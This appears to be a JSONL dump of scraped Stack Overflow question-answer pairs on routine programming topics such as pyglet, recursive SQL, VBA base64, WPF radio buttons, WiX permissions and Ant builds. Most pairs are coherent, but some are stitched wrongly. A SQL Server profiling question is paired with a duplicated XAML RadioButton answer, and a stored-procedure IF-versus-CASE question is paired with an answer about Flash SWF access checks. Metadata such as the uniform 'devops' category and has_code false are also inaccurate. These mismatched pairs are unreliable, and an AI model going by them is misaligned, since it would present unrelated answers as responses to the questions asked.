{"id": "hf_3100e48857e7", "question": "<p>I'm writing a simulator in Python, and am curious about options and opinions regarding basic 2D animations. By animation, I'm referring to rendering on the fly, not displaying prerendered images.</p>\n\n<p>I'm currently using matplotlib (Wxagg backend), and it's possible that I'll be able to continue using it, but I suspect it won't be able to sufficiently scale in terms of performance or capabilities.</p>\n\n<p>Requirements are:</p>\n\n<ul>\n<li>Cross-platform (Linux, MacOS X,\nWindows)</li>\n<li>Low complexity overhead</li>\n<li>Plays well with wxpython (at least won't step on each other's toes unduly)</li>\n<li>Interactivity. Detect when objects are clicked on, moused over, etc. </li>\n</ul>\n\n<p>Note that high performance isn't on the list, but the ability to handle ~100 bitmap objects on the screen would be good.</p>\n\n<p>Your thoughts?</p>\n", "question_body": "", "answer": "I am a fan of\npyglet\nwhich is a completely self contained library for doing graphical work under win32, linux, and OS X.\nIt has very low overhead, and you can see this for yourself from the tutorial on the website. It\nshould\nplay well with wxpython, or at least I seem to recall posts to the mailing list about wxpython and pyglet being used together.\nIt however does not offer selection of objects via mouse clicks - this you will have to handle yourself. Generally speaking for a 2D application this is not too difficult to do.\nmactorii\nis an OS X application of mine written in pure python+pyglet, and has some basic animation (scrolling) and click detection. It doesn't use wxpython, but perhaps it will give you an idea of what is involved. Note however mactorii is using the old pyglet api, so the run loop I have in there is obsolete. I will get around to updating it one day... :P", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.410291"}
{"id": "hf_b11044bfd284", "question": "<p>In the same spirit of other platforms, it seemed logical to follow up with this question: What are common non-obvious mistakes in Java? Things that seem like they ought to work, but don't.</p>\n\n<p>I won't give guidelines as to how to structure answers, or what's \"too easy\" to be considered a gotcha, since that's what the voting is for.</p>\n\n<p>See also:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/166653/perl-common-gotchas\">Perl - Common gotchas</a></li>\n<li><a href=\"https://stackoverflow.com/questions/66117/aspnet-common-gotchas\">.NET - Common gotchas</a></li>\n</ul>\n", "question_body": "", "answer": "Going first, here's one I caught today. It had to do with\n```\nLong\n```\n/\n```\nlong\n```\nconfusion.\n```\n```\npublic void foo(Object obj) {\n    if (grass.isGreen()) {\n        Long id = grass.getId();\n        foo(id);\n    }\n}\nprivate void foo(long id) {\n    Lawn lawn = bar.getLawn(id);\n    if (lawn == null) {\n        throw new IllegalStateException(\"grass should be associated with a lawn\");\n    }   \n}\n```\n```\nObviously, the names have been changed to protect the innocent :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.464698"}
{"id": "hf_1969787d23d4", "question": "<p>I'm thinking the answer is no, but I'd love it it anybody had any insight into how to crawl a tree structure to any depth in SQL (MySQL), but with a single query</p>\n\n<p>More specifically, given a tree structured table (id, data, data, parent_id), and one row in the table, is it possible to get <em>all</em> descendants (child/grandchild/etc), or for that matter all ancestors (parent/grandparent/etc) without knowing how far down or up it will go, using a single query?</p>\n\n<p>Or is using some kind of recursion require, where I keep querying deeper until there are no new results?</p>\n\n<p>Specifically, I'm using Ruby and Rails, but I'm guessing that's not very relevant.</p>\n", "question_body": "", "answer": "You're almost definitely going to want to employ some recursion for that. And if you're doing that, then it would be trivial (in fact easier) to get the entire tree rather than bits of it to a fixed depth.\nIn really rough pseudo-code you'll want something along these lines:\n```\n```\ngetChildren(parent){\n    children = query(SELECT * FROM table WHERE parent_id = parent.id)\n    return children\n}\n\nprintTree(root){\n    print root\n    children = getChildren(root)\n    for child in children {\n        printTree(child)\n    }\n}\n```\n```\nAlthough in practice you'd rarely want to do something like this. It will be rather inefficient since it's making one request for every row in the table, so it'll only be sensible for either small tables, or trees that aren't nested too deeply. To be honest, in either case you probably want to limit the depth.\nHowever, given the popularity of these kinds of data structure, there may very well be some MySQL stuff to help you with this, specifically to cut down on the numbers of queries you need to make.\nEdit: Having thought about it, it makes very little sense to make all these queries. If you're reading the entire table anyway, then you can just slurp the whole thing into RAM - assuming it's small enough!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.489038"}
{"id": "hf_6f6606db203a", "question": "<p>I've opened a new window with window.open() and I want to use the reference from the window.open() call to then write content to the new window.  I've tried copying HTML from the old window to the new window by using myWindow.document.body.innerHTML = oldWindowDiv.innerHTML; but that's doesn't work.  Any ideas?</p>\n", "question_body": "", "answer": "```\n```\nmyWindow.document.writeln(documentString)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.552992"}
{"id": "hf_720ac914dd98", "question": "<p>I'm not looking for a full implementation, I'm more interested in how they do it.  I know they use GWT, but I'd like a more low level answer.  Naively, I would start by thinking when you click the popout link they simply open a new window and copy content into it.  There are lots of reasons why that won't work out well, so I'm wondering if anyone knows or has ideas on how they do this or how it could be done.</p>\n", "question_body": "", "answer": "I recently needed to solve exactly this problem in an app. I ended up using this great little jQuery plugin to do the trick: WindowMsg (see link at bottom) While I'm sure there are other ways to accomplish the same task, that plugin does works thusly:\nfirst you create a new child window from your original window using window.open\nyou save a reference to the window object returned by window.open\nyou call a library method in the child window that adds a hidden form for the library to store data in\nyou call a library method in the parent window that uses window.document.forms to populate form fields on the child window (the library abstracts all of this stuff so you wouldn't even know there was a form involved unless you looked at the source) window.document.forms works the same on all major browsers so this abstraction in x-browser compatible\nfinally, the child window refers back to its parent window using window.opener and can communicate back via a parallel hidden form on the parent\nthe library implements a convenient helper that takes a callback function to run on each side to make the callback chain easy to deal with\nIn my experience working with the library, it would have also been quite nice if they had included the JSON 2 lib from JSON.org. Out of the box, WindowMsg only allows you to send string messages between windows, but with some pretty simple use of the JSON 2 lib, I was able to hack it to allow the sending of full JSON objects between windows. I bet more mature libraries (such as whatever google uses) include that kind of serialization and de-serialization baked in.\nI am putting this link here because for some reason, the Stack Overflow formatter turns it into an anchor link with no closing tag and I don't want my whole post to be one giant hyperlink!\nWindowMsg:\nhttp://www.sfpeter.com/2008/03/13/communication-between-browser-windows-with-jquery-my-new-plugin/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.577302"}
{"id": "hf_2719170e4a6b", "question": "<p>There's another post on SO relating to .NET -- not us.  Pure PHP.  Trying to find the best way/process to deploy stable version of our PHP app.  I've seen an article on <a href=\"http://www.simplisticcomplexity.com/2006/8/16/automated-php-deployment-with-capistrano/\" rel=\"nofollow noreferrer\">Capistrano</a>, but am curious what else is out there.  Aside from the obvious reasons, I'm also looking to add some scripting so that the <a href=\"https://stackoverflow.com/questions/111436/how-can-i-get-the-svn-revision-number-in-php\">SVN rev number gets added in there as well</a>.</p>\n\n<p>Much thanks.</p>\n", "question_body": "", "answer": "I've used a home-grown script for quite some time. It will (based on an application configuration file):\nRun\n```\nsvn export\n```\non the repository based on a tag.\nPackage the export into a tar or zip file, which includes the tag in the name.\nUse\n```\nscp\n```\nto copy the package to the appropriate server (QA or release).\nConnect to the server with\n```\nssh\n```\nto install the package and run post-install scripts.\nThe application configuration file is part of the project. It can tell the script (at step 2) to strip paths and otherwise process specified files. It also specifies server names and how to handle externals.\nI've recently migrated the script to support Git as well as Subversion. I'm also probably going to migrate it to PHP since we're now running in a mixed (Linux and Windows) set up, with Linux now in the minority.\nI have plans to automatically call the script with post-commit hooks, but haven't had the need to implement that just yet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.625905"}
{"id": "hf_803be0a0ef7b", "question": "<p>I tried to package a Twisted program with py2exe, but once I run the exe file I built, I got a \"No module named resource\" error. </p>\n\n<p>And I found the py2exe said:</p>\n\n<blockquote>\n  <p>The following modules appear to be missing ['FCNTL', 'OpenSSL', 'email.Generator', 'email.Iterators', 'email.Utils', 'pkg_resources', 'pywintypes', 'resource', 'win32api', 'win32con', 'win32event', 'win32file', 'win32pipe', 'win32process', 'win32security']</p>\n</blockquote>\n\n<p>So how do I solve this problem?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I've seen this before... py2exe, for some reason, is not detecting that these modules are needed inside the ZIP archive and is leaving them out.\nYou can explicitly specify modules to include on the py2exe command line:\n```\n```\npython setup.py py2exe -p win32com -i twisted.web.resource\n```\n```\nSomething like that. Read up on the options and experiment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.661498"}
{"id": "hf_e8f02774f47e", "question": "<p>I want to write a script which cleans the 'run' dialogue automatically every log off. Where is the history stored?</p>\n", "question_body": "", "answer": "```\n```\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.713408"}
{"id": "hf_c145c9063a8c", "question": "<p>I need to encode a 100KB+ string as base64 in VBA. Are there any built-in functions or COM objects available which will do this as a pure VBA approach is either complex or doesn't scale well at these volumes (see links from <a href=\"http://www.vbforums.com/showthread.php?t=379072\" rel=\"noreferrer\">dbb</a> and <a href=\"http://www.motobit.com/tips/detpg_Base64Encode/\" rel=\"noreferrer\">marxidad</a>)?</p>\n", "question_body": "", "answer": "You can use the MSXML Base64 encoding functionality as described at\nwww.nonhostile.com/howto-encode-decode-base64-vb6.asp\n:\n```\n```\nFunction EncodeBase64(text As String) As String\n  Dim arrData() As Byte\n  arrData = StrConv(text, vbFromUnicode)      \n\n  Dim objXML As MSXML2.DOMDocument\n  Dim objNode As MSXML2.IXMLDOMElement\n\n  Set objXML = New MSXML2.DOMDocument \n  Set objNode = objXML.createElement(\"b64\")\n\n  objNode.dataType = \"bin.base64\"\n  objNode.nodeTypedValue = arrData\n  EncodeBase64 = Replace(objNode.Text, vbLf, \"\") \n\n  Set objNode = Nothing\n  Set objXML = Nothing\nEnd Function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.736537"}
{"id": "hf_33a4d9724941", "question": "<p>I want to convert a string into a double and after doing some math on it, convert it back to a string.</p>\n\n<p>How do I do this in Objective-C?</p>\n\n<p>Is there a way to round a double to the nearest integer too?</p>\n", "question_body": "", "answer": "You can convert an NSString into a double with\n```\n```\ndouble myDouble = [myString doubleValue];\n```\n```\nRounding to the nearest int can then be done as\n```\n```\nint myInt = (int)(myDouble + (myDouble>0 ? 0.5 : -0.5))\n```\n```\nI'm honestly not sure if there's a more streamlined way to convert back into a string than\n```\n```\nNSString* myNewString = [NSString stringWithFormat:@\"%d\", myInt];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.760542"}
{"id": "hf_f4aa59f0586b", "question": "<p>I'm wondering what's a reasonable size for iPhone Apps. Right now I'm working on an iPhone game, and of course it loads fast into my device since I'm connected directly to it through a USB cable, but I've no idea how long it would actually take to download from the App Store.</p>\n\n<p>In my case it's about 2mb in size, which is reasonable for a desktop or even a flash game, but I've no idea if this is reasonable size for the iPhone.</p>\n\n<p>My other concern is what's the non-wifi download limit of the App Store? Occasionally there are Apps that won't download unless you've got a wifi connection. And personally I've never downloaded such apps, since it gives me a bad impression. So I'd definitely want to stay below that limit.</p>\n\n<p>Also since I'm already asking about app sizes, it would be probably be useful to collect good sizes for other types of apps as well.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "The 3g network is fast.  I wouldn't limit your development based on this - do exactly what you need to do to make your game as good as it can be, and people will download it even if it takes a tiny bit longer.  I've downloaded 10MB+ applications from the store over 3g and it might as well be a slow wi-fi connection, it's just that fast.\nAlso remember that many people purchase on their computers (hence a fast connection) and then just sync to the iPhone, especially those that are in areas with slower cellular networks.\nBottom line, size won't affect downloads, ratings will.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.809044"}
{"id": "hf_f0dbec1db301", "question": "<p>Per this <a href=\"http://kb.adobe.com/selfservice/viewContent.do?externalId=608abffd\" rel=\"nofollow noreferrer\">Adobe KB tech note</a> is there any way around having to place the FLVPlayback skin SWF in same directory as HTML file the container SWF is loaded from?  It pains me to have to put a SWF in my site's root directory.</p>\n\n<p>I think loading the Flash video in an iframe would solve this problem, but is that a good practice?  I generally shy away from using iframes because of padding, margin, and sizing issues between browsers.  Maybe that's not an issue anymore with CSS.</p>\n", "question_body": "", "answer": "Well, you can place the skin in another directory as long as you specify the path (relative to the loading HTML) in the \"skin\" parameter for your FLV playback component in the component inspector. Troubleshooting is very easy if you use the Net panel in Firebug or a similar tool.\nUsing an iframe works and don't cause rendering problems as long as you take care that there's no margin or padding inside the iframe. However, you will need another HTML file which can make maintaining your site more of a hassle.\nIf you are publishing a lot of video files, you might find that it's more convenient to use a standalone player such as the\nJW Media Player\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.890538"}
{"id": "hf_088e29b227d0", "question": "<p>Let's say:</p>\n\n<pre><code>&lt;div&gt;\n  pre text\n  &lt;div class=\"remove-just-this\"&gt;\n    &lt;p&gt;child foo&lt;/p&gt;\n    &lt;p&gt;child bar&lt;/p&gt;\n    nested text\n  &lt;/div&gt;\n  post text\n&lt;/div&gt;\n</code></pre>\n\n<p>to this:</p>\n\n<pre><code>&lt;div&gt;\n  pre text\n  &lt;p&gt;child foo&lt;/p&gt;\n  &lt;p&gt;child bar&lt;/p&gt;\n  nested text\n  post text\n&lt;/div&gt;\n</code></pre>\n\n<p>I've been figuring out using Mootools, jQuery and even (raw) JavaScript, but couldn't get the idea how to do this.</p>\n", "question_body": "", "answer": "Using\njQuery\nyou can do this:\n```\n```\nvar cnt = $(\".remove-just-this\").contents();\n$(\".remove-just-this\").replaceWith(cnt);\n```\n```\nQuick links to the documentation:\ncontents\n( ) :\njQuery\nreplaceWith\n(\ncontent\n: [\nString\n|\nElement\n|\njQuery\n] ) :\njQuery", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.926030"}
{"id": "hf_d6781556c7bd", "question": "<p>While Scrum is easy in theory and hard in practice, I wanted to hear your definition of Done; i.e. what are the gates (unit test, code coverage > 80%, code reviews, load tests, perf.test, functional tests, etc.) your product has to go through before you can label the product \"Done\"</p>\n", "question_body": "", "answer": "There are three nice articles by\nMitch Lacey\n,\nDhaval Panchal\nand\nMayank Gupta\non this on the ScrumAlliance website.\nEDIT:\nBasically the whole point is that\ndone is defined on a project-by-project basis by the team\n. The basic need is to agree on the definition, not what the definition is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:36.981289"}
{"id": "hf_5ba6cb53c864", "question": "<p>I'm trying to make things simpler. Here is my code:</p>\n\n<pre><code>    If Threading.Monitor.TryEnter(syncRoot) Then\n        Try\n            'do something\n        Finally\n            Threading.Monitor.Exit(syncRoot)\n        End Try\n    Else\n        'do something else\n    End If\n</code></pre>\n\n<p>This is even worse than the ReaderWriterLock in terms of noise.\nI can use C# or VB, so answers applying to either will be welcome.</p>\n", "question_body": "", "answer": "This is very similar to your\nlast post\n, and I would expect a similar answer. The only significant difference is that you might return \"null\" from your method if the timeout fails - then the \"Dispose()\" is not called, and you can easily check the value:\n```\n```\nusing(var token = GetLock(syncLock, timeout)) {\n  if(token != null) { ... }\n}\n```\n```\nThe only real glitch is that you don't necessarily want to add an extension method to \"object\" (or even \"T where T : class\")...\nJon Skeet\nhas looked at this in the past -\nworth a look\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.093623"}
{"id": "hf_110c5205381a", "question": "<pre><code> &lt;DataTemplate x:Key=\"Genre_DataTemplate\"&gt;\n        &lt;RadioButton GroupName=\"One\" Content=\"{Binding...\n &lt;/DataTemplate&gt;\n</code></pre>\n\n<p>Above code is the ItemTemplate of my ItemsControl, I want all the Radiobuttons instantiated should behave as if it is in a group, I know the reason because the generated RadioButtons are not adjacent in the visualtree.</p>\n\n<p>Any solution or workaround to group them together?. GroupName property also doesn't have any effect here. </p>\n\n<p>[Update] I am trying this in Silverlight</p>\n", "question_body": "", "answer": "I think the problem is somewhere else in the control tree. Can you post more details?\nHere is a sample xaml code that works as expected:\n```\n```\n<Page xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\">\n <Grid>\n    <Grid.Resources>\n       <XmlDataProvider x:Key=\"flickrdata\" Source=\"http://api.flickr.com/services/feeds/photos_public.gne?tags=flower&amp;lang=en-us&amp;format=rss_200\">\n          <XmlDataProvider.XmlNamespaceManager>\n             <XmlNamespaceMappingCollection>\n                <XmlNamespaceMapping Prefix=\"media\" Uri=\"http://search.yahoo.com/mrss/\"/>\n             </XmlNamespaceMappingCollection>\n          </XmlDataProvider.XmlNamespaceManager>\n       </XmlDataProvider>\n       <DataTemplate x:Key=\"itemTemplate\">\n        <RadioButton GroupName=\"One\">\n          <Image Width=\"75\" Height=\"75\" Source=\"{Binding Mode=OneWay, XPath=media:thumbnail/@url}\"/>\n        </RadioButton>\n       </DataTemplate>\n       <ControlTemplate x:Key=\"controlTemplate\" TargetType=\"{x:Type ItemsControl}\">\n          <WrapPanel IsItemsHost=\"True\" Orientation=\"Horizontal\"/>\n       </ControlTemplate>\n    </Grid.Resources>\n    <ItemsControl\n       Width=\"375\"\n       ItemsSource=\"{Binding Mode=Default, Source={StaticResource flickrdata}, XPath=/rss/channel/item}\"\n       ItemTemplate=\"{StaticResource itemTemplate}\"\n       Template=\"{StaticResource controlTemplate}\">\n    </ItemsControl>\n </Grid>\n\n</Page>\n```\n```\nP.S.: In order grouping to work elements radio buttons should have same parent (as they usually have when generated from ItemsControl)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.117526"}
{"id": "hf_9e1cd98e8281", "question": "<p>SQL Server profiler is great for profiling SQL Server performance for web apps. However, when I'm testing my webapp I'd like a summary of database hits/duration <strong>per page</strong>.</p>\n\n<p>Does anybody know of any utilities for giving you this kind of information?</p>\n", "question_body": "", "answer": "I think the problem is somewhere else in the control tree. Can you post more details?\nHere is a sample xaml code that works as expected:\n```\n```\n<Page xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\">\n <Grid>\n    <Grid.Resources>\n       <XmlDataProvider x:Key=\"flickrdata\" Source=\"http://api.flickr.com/services/feeds/photos_public.gne?tags=flower&amp;lang=en-us&amp;format=rss_200\">\n          <XmlDataProvider.XmlNamespaceManager>\n             <XmlNamespaceMappingCollection>\n                <XmlNamespaceMapping Prefix=\"media\" Uri=\"http://search.yahoo.com/mrss/\"/>\n             </XmlNamespaceMappingCollection>\n          </XmlDataProvider.XmlNamespaceManager>\n       </XmlDataProvider>\n       <DataTemplate x:Key=\"itemTemplate\">\n        <RadioButton GroupName=\"One\">\n          <Image Width=\"75\" Height=\"75\" Source=\"{Binding Mode=OneWay, XPath=media:thumbnail/@url}\"/>\n        </RadioButton>\n       </DataTemplate>\n       <ControlTemplate x:Key=\"controlTemplate\" TargetType=\"{x:Type ItemsControl}\">\n          <WrapPanel IsItemsHost=\"True\" Orientation=\"Horizontal\"/>\n       </ControlTemplate>\n    </Grid.Resources>\n    <ItemsControl\n       Width=\"375\"\n       ItemsSource=\"{Binding Mode=Default, Source={StaticResource flickrdata}, XPath=/rss/channel/item}\"\n       ItemTemplate=\"{StaticResource itemTemplate}\"\n       Template=\"{StaticResource controlTemplate}\">\n    </ItemsControl>\n </Grid>\n\n</Page>\n```\n```\nP.S.: In order grouping to work elements radio buttons should have same parent (as they usually have when generated from ItemsControl)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.141321"}
{"id": "hf_36c818d48e09", "question": "<p>What criteria should I use to decide whether I write VBA code like this:</p>\n\n<pre><code>Set xmlDocument = New MSXML2.DOMDocument\n</code></pre>\n\n<p>or like this:</p>\n\n<pre><code>Set xmlDocument = CreateObject(\"MSXML2.DOMDocument\")\n</code></pre>\n\n<p>?</p>\n", "question_body": "", "answer": "For the former you need to have a reference to the type library in your application.  It will typically use early binding (assuming you declare your variable as MSXML2.DOMDocument rather than as Object, which you probably will), so will generally be faster and will give you intellisense support.\nThe latter can be used to create an instance of an object using its ProgId without needing the type library.  Typically you will be using late binding.\nNormally it's better to use \"As New\" if you have a type library, and benefit from early binding.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.165511"}
{"id": "hf_eb0879a24420", "question": "<p>I've gone to <a href=\"http://sourceforge.net/project/showfiles.php?group_id=2435\" rel=\"noreferrer\">http://sourceforge.net/project/showfiles.php?group_id=2435</a>, downloaded the Automated MinGW Installer for MinGW 5.1.4 and at the same time the GNU Source-Level Debugger Release Candidate: GDB 6.8-3. I've then installed MinGW base tools into C:\\MinGW. No problem so far.</p>\n\n<p>However when I come to install the gdb debugger it has a lot of files and folders with the same names as some already installed but the files are different to those already installed. e.g C:\\MinGW\\include\\bfd.h is 171 KB but gdb-6.8-mingw-3\\include\\bfd.h is 184 KB.</p>\n\n<p>How do I add gdb to MinGW without breaking what's already installed?</p>\n", "question_body": "", "answer": "The\nCurrent Release\n(5.2.1) version of gdb at the\nproject files page\nhas always worked for me. The download is a stand-alone .exe, you don't need anything else.\nBut I'll bet the .exe in the 6.8 package will work, too. I'd try using just the .exe, and then if there are problems, try extracting the other files from the 6.8 package. (Though that may cause problems with the rest of the MinGW installation.)\nUpdate: There seems to be a 7.something version. I haven't tested it thoroughly, but it seems to work, even with gcc 3.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.201921"}
{"id": "hf_5e08b312d50e", "question": "<p>Hi are there any pros / cons relating to the speed that a stored procedure executes when using an IF statement or choosing to use a CASE statement instead?</p>\n", "question_body": "", "answer": "Have you considered simply validating resource access through an HTTP request to the server after the swf loads?\nWhere I work we provide online trainings to users through flash but rather than verify the HTTP request itself, we allow the swf's to load first and then make a request to the server to verify that the user should have access to the swf and that they are accessing the swf from within our site and not from another location.\nIf any step of validation fails (either it fails to find an auth file in the necessary location or the user does not have a valid session or does not have access to the particular training) then they receive an error within flash and none of the important content ever loads.\nAs another note, if you do decide that you want to strictly limit access to the files so that they can only be loaded by those who should have access, then I would probably suggest using your second option of storing the files in a separate, non-public location and then using a handler script to load the swf.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.248730"}
{"id": "hf_03fda8321aac", "question": "<p>How do I add the Swedish interactive user,  </p>\n\n<pre><code>NT INSTANS\\INTERAKTIV  \n</code></pre>\n\n<p>or the English interactive user,  </p>\n\n<pre><code>NT AUTHORITY\\INTERACTIVE  \n</code></pre>\n\n<p>or any other localised user group with <strong>write</strong> permissions to a program folder's ACL?</p>\n\n<p>Is this question actually \"How do I use <strong>secureObject</strong>\"? I cannot use the <strong>LockPermissions Table</strong> because I undestand inheritance is removed. <strong>secureObject</strong> permissions seem to require <strong>CreateDirectory</strong> rather than <strong>Directory</strong>... </p>\n", "question_body": "", "answer": "There is no way\nas such\nto add both account names to an ACL since they are one and the same. The name you see corresponds to a SID, and that SID is identical in both the English and Swedish localizations. In the case of the INTERACTIVE group, that SID is\n```\nS-1-5-4\n```\n.\nI haven't followed WiX in a long while, but I expect there has to be a way to specify SIDs for ACLs instead of account names. You should never, ever rely on the account name for well-known accounts unless there is absolutely no way to avoid it. Here is a\nlist of well-known SIDs\nfor reference.\nEdit:\nThis post\nseems to provide a solution to your problem using a custom action to translate the SIDs to account names - apparently WiX doesn't out of the box support using SIDs for Permission or PermissionEx objects.\nHere is a more authoritative list of well-known SIDs in\nQ243330\nof the Microsoft Knownledge Base.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.273552"}
{"id": "hf_308ea0832d62", "question": "<p>I was previously taught today how to set parameters in a SQL query in .NET in this answer (<a href=\"https://stackoverflow.com/questions/169359/improving-code-readability-for-sql-commands#169369\">click</a>).</p>\n\n<p>Using parameters with values are fine, but when I try to set a field in the database to null I'm unsuccessful. Either the method thinks I am not setting a valid parameter or not specifying a parameter.</p>\n\n<p>e.g.</p>\n\n<pre><code>Dim dc As New SqlCommand(\"UPDATE Activities SET [Limit] = @Limit WHERE [Activity] = @Activity\", cn)\n\nIf actLimit.ToLower() = \"unlimited\" Then\n    ' It's not nulling :(\n    dc.Parameters.Add(New SqlParameter(\"Limit\", Nothing))\nElse\n    dc.Parameters.Add(New SqlParameter(\"Limit\", ProtectAgainstXSS(actLimit)))\nEnd If\n</code></pre>\n\n<p>Is there something I'm missing? Am I doing it wrong?</p>\n", "question_body": "", "answer": "Try setting it to\n```\nDbNull.Value\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.359002"}
{"id": "hf_f2ef50b9257c", "question": "<p>What is the minimal conventional directory structure for a Java web app? What do I need to put in a <code>build.xml</code> file to get ant to build it and make a WAR file?</p>\n\n<p>My goal is to deploy a Wicket app to Tomcat without using an IDE. I want to do it with only ant and my favourite text editor.</p>\n", "question_body": "", "answer": "Ours look like this:\n```\n```\nweb/\nweb/WEB-INF/   (sometimes we use a conf/ dir at the top level but this is minimal)\nsrc/\nlib/\n```\n```\nThe build.xml has three targets:\njsp: copies everything from web/ into the tomcat webapp folder and from lib/ into WEB-INF/lib\ncompile: compiles everything from src/ into WEB-INF/classes in the webapp\nwar: runs compile, jsp, and then zips the contents of the tomcat webapp into a warfile\nThis structure is a little bit informal and you can do it more cleanly by having a separate build directory for the warfile, and/or a separate compile directory, etc. Some people don't like the idea of deploying directly to the webapp instead of building a war first. But to get something up and running quickly, the above will do nicely.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:37.382408"}
